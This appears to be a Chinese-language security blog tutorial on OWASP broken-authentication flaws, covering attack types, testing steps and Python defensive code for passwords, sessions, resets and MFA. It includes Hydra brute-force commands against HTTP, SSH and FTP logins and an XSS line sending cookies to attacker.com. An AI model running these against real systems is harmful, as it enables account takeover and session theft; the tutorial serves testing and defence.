OWASP Top 10 - 身份驗證失效漏洞

OWASP Top 10 Broken Authentication Vulnerabilities and Prevention

什麼是身份驗證失效

身份驗證失效(Broken Authentication)是 OWASP Top 10 中的重要安全風險之一。當應用程式的身份驗證機制實作不當時,攻擊者可能冒充其他使用者的身份,甚至取得管理員權限。這類漏洞可能導致未經授權的帳戶存取、資料外洩、身份盜用等嚴重後果。

身份驗證失效可能發生在以下情況:

  • 允許自動化攻擊,如憑證填充或暴力破解
  • 允許使用弱密碼或常見密碼
  • 使用不安全的密碼恢復機制
  • 以明文或弱雜湊方式儲存密碼
  • 缺少或無效的多因素驗證
  • 在 URL 中暴露 Session ID
  • Session ID 在成功登入後未更換
  • Session ID 未正確失效

常見的身份驗證失效類型

1. 弱密碼政策

許多應用程式允許使用者設定過於簡單的密碼,這使得攻擊者可以輕易猜測或破解密碼。

常見問題:

  • 允許短密碼(少於 8 個字元)
  • 不要求混合字元類型(大小寫、數字、特殊符號)
  • 允許使用常見密碼(如 123456passwordqwerty
  • 不檢查密碼是否在已知的外洩密碼清單中

弱密碼範例:

1
2
3
4
5
6
7
8
123456
password
12345678
qwerty
abc123
admin
letmein
welcome

2. 暴力破解攻擊

暴力破解(Brute Force)是一種透過嘗試所有可能的密碼組合來破解帳戶的攻擊方式。

攻擊類型:

類型說明
簡單暴力破解嘗試所有可能的字元組合
字典攻擊使用常見密碼清單進行嘗試
憑證填充使用其他網站外洩的帳號密碼嘗試登入
密碼噴灑對多個帳戶嘗試少量常見密碼
反向暴力破解固定密碼,嘗試不同使用者名稱

Hydra 暴力破解範例:

1
2
3
4
5
6
7
8
# HTTP POST 表單暴力破解
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# SSH 暴力破解
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://target.com

# FTP 暴力破解
hydra -l admin -P passwords.txt ftp://target.com

Burp Suite Intruder 設定:

  1. 攔截登入請求
  2. 將請求發送到 Intruder
  3. 標記密碼欄位為 payload 位置
  4. 載入密碼字典
  5. 開始攻擊並分析回應

3. Session 管理漏洞

Session 管理是身份驗證的關鍵部分,不當的 Session 處理可能導致帳戶被劫持。

Session 固定攻擊(Session Fixation)

攻擊者設定一個已知的 Session ID 給受害者,當受害者登入後,攻擊者可以使用該 Session ID 存取受害者的帳戶。

攻擊流程:

1
2
3
4
1. 攻擊者取得一個有效的 Session ID
2. 攻擊者誘導受害者使用該 Session ID 登入
3. 受害者登入成功
4. 攻擊者使用相同的 Session ID 存取受害者帳戶

漏洞範例(URL 中的 Session ID):

1
http://target.com/login?sessionid=abc123

Session 劫持(Session Hijacking)

攻擊者竊取受害者的 Session ID 來冒充受害者。

常見攻擊向量:

  • 透過 XSS 竊取 Cookie
  • 透過網路嗅探取得 Session ID
  • 透過惡意軟體讀取 Cookie

XSS 竊取 Cookie 範例:

1
2
3
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie
</script>

Session 預測(Session Prediction)

如果 Session ID 的產生方式不夠隨機,攻擊者可能預測其他使用者的 Session ID。

不安全的 Session ID 產生範例:

1
2
3
4
5
# 不安全:使用可預測的資訊
session_id = md5(username + timestamp)

# 不安全:使用遞增數字
session_id = last_session_id + 1

4. 密碼恢復機制漏洞

不安全的密碼恢復機制可能被攻擊者利用來重設其他使用者的密碼。

常見漏洞:

  • 安全問題的答案容易猜測
  • 密碼重設連結不會過期
  • 密碼重設令牌可預測
  • 透過錯誤訊息列舉使用者

使用者列舉範例:

1
2
3
4
5
輸入:admin@target.com
回應:密碼重設連結已發送

輸入:nonexistent@target.com
回應:找不到此電子郵件地址

透過不同的回應訊息,攻擊者可以判斷某個電子郵件是否已註冊。

5. 多因素驗證繞過

即使實作了多因素驗證(MFA),不當的實作也可能被繞過。

常見繞過方式:

  • 直接存取登入後的頁面
  • 重複使用驗證碼
  • 暴力破解驗證碼
  • 透過密碼重設繞過 MFA
  • 利用備份碼

繞過測試:

1
2
3
1. 完成帳號密碼驗證
2. 在 MFA 驗證步驟時,直接嘗試存取 /dashboard
3. 如果可以存取,表示存在繞過漏洞

測試方法

1. 密碼政策測試

測試應用程式是否接受弱密碼:

1
2
3
4
5
6
測試案例:
- 短密碼:abc
- 純數字:12345678
- 常見密碼:password123
- 無特殊字元:Abcdefgh
- 與使用者名稱相同:username

2. 帳戶鎖定機制測試

測試是否有帳戶鎖定機制防止暴力破解:

1
2
3
4
5
6
7
# 使用 Burp Suite Intruder 進行測試
1. 設定錯誤密碼嘗試 10-20 次
2. 觀察是否有以下反應:
   - 帳戶被鎖定
   - 增加驗證碼
   - 增加延遲時間
   - IP 被封鎖

3. Session 管理測試

測試 Session ID 隨機性:

1
2
3
4
5
# 收集多個 Session ID
curl -c - http://target.com/login | grep session

# 分析 Session ID 的模式
# 使用 Burp Suite Sequencer 分析隨機性

測試 Session 固定:

1
2
3
4
1. 取得 Session ID(未登入狀態)
2. 使用該 Session ID 登入
3. 檢查登入後 Session ID 是否改變
4. 如果沒有改變,存在 Session 固定漏洞

測試 Session 過期:

1
2
3
4
1. 登入取得 Session
2. 登出
3. 嘗試使用舊的 Session ID 存取
4. 如果仍可存取,Session 未正確失效

4. 密碼重設測試

1
2
3
4
5
6
測試項目:
- 重設令牌是否過期
- 令牌是否可重複使用
- 令牌是否可預測
- 是否可重設任意使用者密碼
- 錯誤訊息是否洩漏使用者資訊

5. 自動化測試工具

OWASP ZAP

1
2
3
4
# 使用 ZAP 進行身份驗證測試
1. 設定 Authentication Context
2. 執行 Active Scan
3. 檢視 Authentication 相關的警報

Burp Suite

1
2
3
4
5
# 使用 Burp Suite 進行測試
1. 使用 Proxy 攔截登入請求
2. 使用 Intruder 進行暴力破解測試
3. 使用 Sequencer 分析 Session ID 隨機性
4. 使用 Scanner 進行自動化掃描

Nikto

1
2
# 使用 Nikto 掃描
nikto -h http://target.com

測試清單

  • 測試是否允許弱密碼
  • 測試是否有帳戶鎖定機制
  • 測試登入失敗的錯誤訊息
  • 測試 Session ID 是否在 URL 中暴露
  • 測試 Session 是否在登入後更換
  • 測試 Session 是否正確過期
  • 測試 Cookie 是否有適當的安全屬性
  • 測試密碼重設機制的安全性
  • 測試多因素驗證是否可繞過
  • 測試憑證是否以安全方式傳輸

防護措施

1. 實作強密碼政策

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import re
import hashlib
import requests

def validate_password(password, username):
    # 最少 12 個字元
    if len(password) < 12:
        return False, "密碼至少需要 12 個字元"

    # 必須包含大寫字母
    if not re.search(r'[A-Z]', password):
        return False, "密碼必須包含大寫字母"

    # 必須包含小寫字母
    if not re.search(r'[a-z]', password):
        return False, "密碼必須包含小寫字母"

    # 必須包含數字
    if not re.search(r'\d', password):
        return False, "密碼必須包含數字"

    # 必須包含特殊字元
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return False, "密碼必須包含特殊字元"

    # 不能與使用者名稱相同
    if password.lower() == username.lower():
        return False, "密碼不能與使用者名稱相同"

    # 檢查是否在已知的外洩密碼清單中(使用 Have I Been Pwned API)
    sha1_password = hashlib.sha1(password.encode()).hexdigest().upper()
    prefix = sha1_password[:5]
    suffix = sha1_password[5:]

    response = requests.get(f'https://api.pwnedpasswords.com/range/{prefix}')
    if suffix in response.text:
        return False, "此密碼已在外洩的密碼清單中,請使用其他密碼"

    return True, "密碼符合要求"

2. 實作帳戶鎖定機制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from datetime import datetime, timedelta
from collections import defaultdict

# 儲存登入失敗記錄
failed_attempts = defaultdict(list)
locked_accounts = {}

def check_login_attempt(username, ip_address):
    current_time = datetime.now()

    # 檢查帳戶是否被鎖定
    if username in locked_accounts:
        lock_until = locked_accounts[username]
        if current_time < lock_until:
            remaining = (lock_until - current_time).seconds // 60
            return False, f"帳戶已被鎖定,請在 {remaining} 分鐘後再試"
        else:
            del locked_accounts[username]
            failed_attempts[username] = []

    return True, "可以嘗試登入"

def record_failed_attempt(username, ip_address):
    current_time = datetime.now()

    # 清除 15 分鐘前的記錄
    cutoff_time = current_time - timedelta(minutes=15)
    failed_attempts[username] = [
        t for t in failed_attempts[username] if t > cutoff_time
    ]

    # 記錄此次失敗
    failed_attempts[username].append(current_time)

    # 如果 15 分鐘內失敗 5 次,鎖定帳戶
    if len(failed_attempts[username]) >= 5:
        locked_accounts[username] = current_time + timedelta(minutes=30)
        return False, "登入失敗次數過多,帳戶已被鎖定 30 分鐘"

    remaining = 5 - len(failed_attempts[username])
    return True, f"登入失敗,剩餘 {remaining} 次嘗試機會"

3. 安全的 Session 管理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import secrets
from datetime import datetime, timedelta

def generate_session_id():
    """產生安全的 Session ID"""
    return secrets.token_urlsafe(32)

def create_session(user_id):
    """建立新的 Session"""
    session_id = generate_session_id()
    session_data = {
        'user_id': user_id,
        'created_at': datetime.now(),
        'last_activity': datetime.now(),
        'ip_address': request.remote_addr,
        'user_agent': request.user_agent.string
    }
    # 儲存 session 到安全的儲存空間
    store_session(session_id, session_data)
    return session_id

def validate_session(session_id):
    """驗證 Session 有效性"""
    session_data = get_session(session_id)

    if not session_data:
        return False, "Session 不存在"

    # 檢查 Session 是否過期(閒置 30 分鐘)
    idle_timeout = timedelta(minutes=30)
    if datetime.now() - session_data['last_activity'] > idle_timeout:
        delete_session(session_id)
        return False, "Session 已過期"

    # 檢查絕對過期時間(最長 8 小時)
    absolute_timeout = timedelta(hours=8)
    if datetime.now() - session_data['created_at'] > absolute_timeout:
        delete_session(session_id)
        return False, "Session 已過期"

    # 更新最後活動時間
    session_data['last_activity'] = datetime.now()
    store_session(session_id, session_data)

    return True, session_data

def regenerate_session(old_session_id, user_id):
    """登入成功後更換 Session ID(防止 Session 固定攻擊)"""
    delete_session(old_session_id)
    return create_session(user_id)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, make_response

app = Flask(__name__)

@app.route('/login', methods=['POST'])
def login():
    # ... 驗證邏輯 ...

    response = make_response(redirect('/dashboard'))

    # 設定安全的 Cookie 屬性
    response.set_cookie(
        'session_id',
        value=session_id,
        httponly=True,      # 防止 JavaScript 存取
        secure=True,        # 只透過 HTTPS 傳輸
        samesite='Strict',  # 防止 CSRF
        max_age=1800        # 30 分鐘過期
    )

    return response

5. 實作安全的密碼重設機制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import secrets
from datetime import datetime, timedelta

def generate_reset_token(user_id):
    """產生密碼重設令牌"""
    token = secrets.token_urlsafe(32)

    # 儲存令牌,設定 1 小時過期
    store_reset_token(user_id, token, datetime.now() + timedelta(hours=1))

    return token

def validate_reset_token(token):
    """驗證密碼重設令牌"""
    token_data = get_reset_token(token)

    if not token_data:
        return False, "無效的重設連結"

    if datetime.now() > token_data['expires_at']:
        delete_reset_token(token)
        return False, "重設連結已過期"

    return True, token_data['user_id']

def reset_password(token, new_password):
    """重設密碼"""
    valid, result = validate_reset_token(token)

    if not valid:
        return False, result

    user_id = result

    # 驗證新密碼
    password_valid, message = validate_password(new_password, get_username(user_id))
    if not password_valid:
        return False, message

    # 更新密碼
    update_password(user_id, hash_password(new_password))

    # 刪除令牌(一次性使用)
    delete_reset_token(token)

    # 使所有現有 Session 失效
    invalidate_all_sessions(user_id)

    return True, "密碼已成功重設"

6. 實作多因素驗證

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import pyotp
import qrcode
from io import BytesIO

def setup_mfa(user_id):
    """設定 TOTP 多因素驗證"""
    # 產生密鑰
    secret = pyotp.random_base32()

    # 儲存密鑰
    store_mfa_secret(user_id, secret)

    # 產生 QR Code
    totp = pyotp.TOTP(secret)
    uri = totp.provisioning_uri(
        name=get_user_email(user_id),
        issuer_name="Your Application"
    )

    # 產生 QR Code 圖片
    img = qrcode.make(uri)
    buffer = BytesIO()
    img.save(buffer, format='PNG')

    return secret, buffer.getvalue()

def verify_mfa(user_id, code):
    """驗證 TOTP 碼"""
    secret = get_mfa_secret(user_id)

    if not secret:
        return False, "MFA 未設定"

    totp = pyotp.TOTP(secret)

    # 驗證碼,允許 30 秒的時間偏差
    if totp.verify(code, valid_window=1):
        return True, "驗證成功"

    return False, "驗證碼錯誤"

7. 安全的密碼儲存

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import bcrypt

def hash_password(password):
    """使用 bcrypt 雜湊密碼"""
    salt = bcrypt.gensalt(rounds=12)
    hashed = bcrypt.hashpw(password.encode(), salt)
    return hashed.decode()

def verify_password(password, hashed):
    """驗證密碼"""
    return bcrypt.checkpw(password.encode(), hashed.encode())

防護措施總結

類別防護措施
密碼政策強制使用強密碼、檢查常見密碼清單
暴力破解防護帳戶鎖定、驗證碼、速率限制
Session 安全安全的 Session ID、適當的過期時間、安全的 Cookie 屬性
密碼重設一次性令牌、短期過期、不洩漏使用者資訊
多因素驗證實作 TOTP 或其他 MFA 機制
密碼儲存使用 bcrypt 或 Argon2 雜湊
傳輸安全強制使用 HTTPS

參考資源

comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy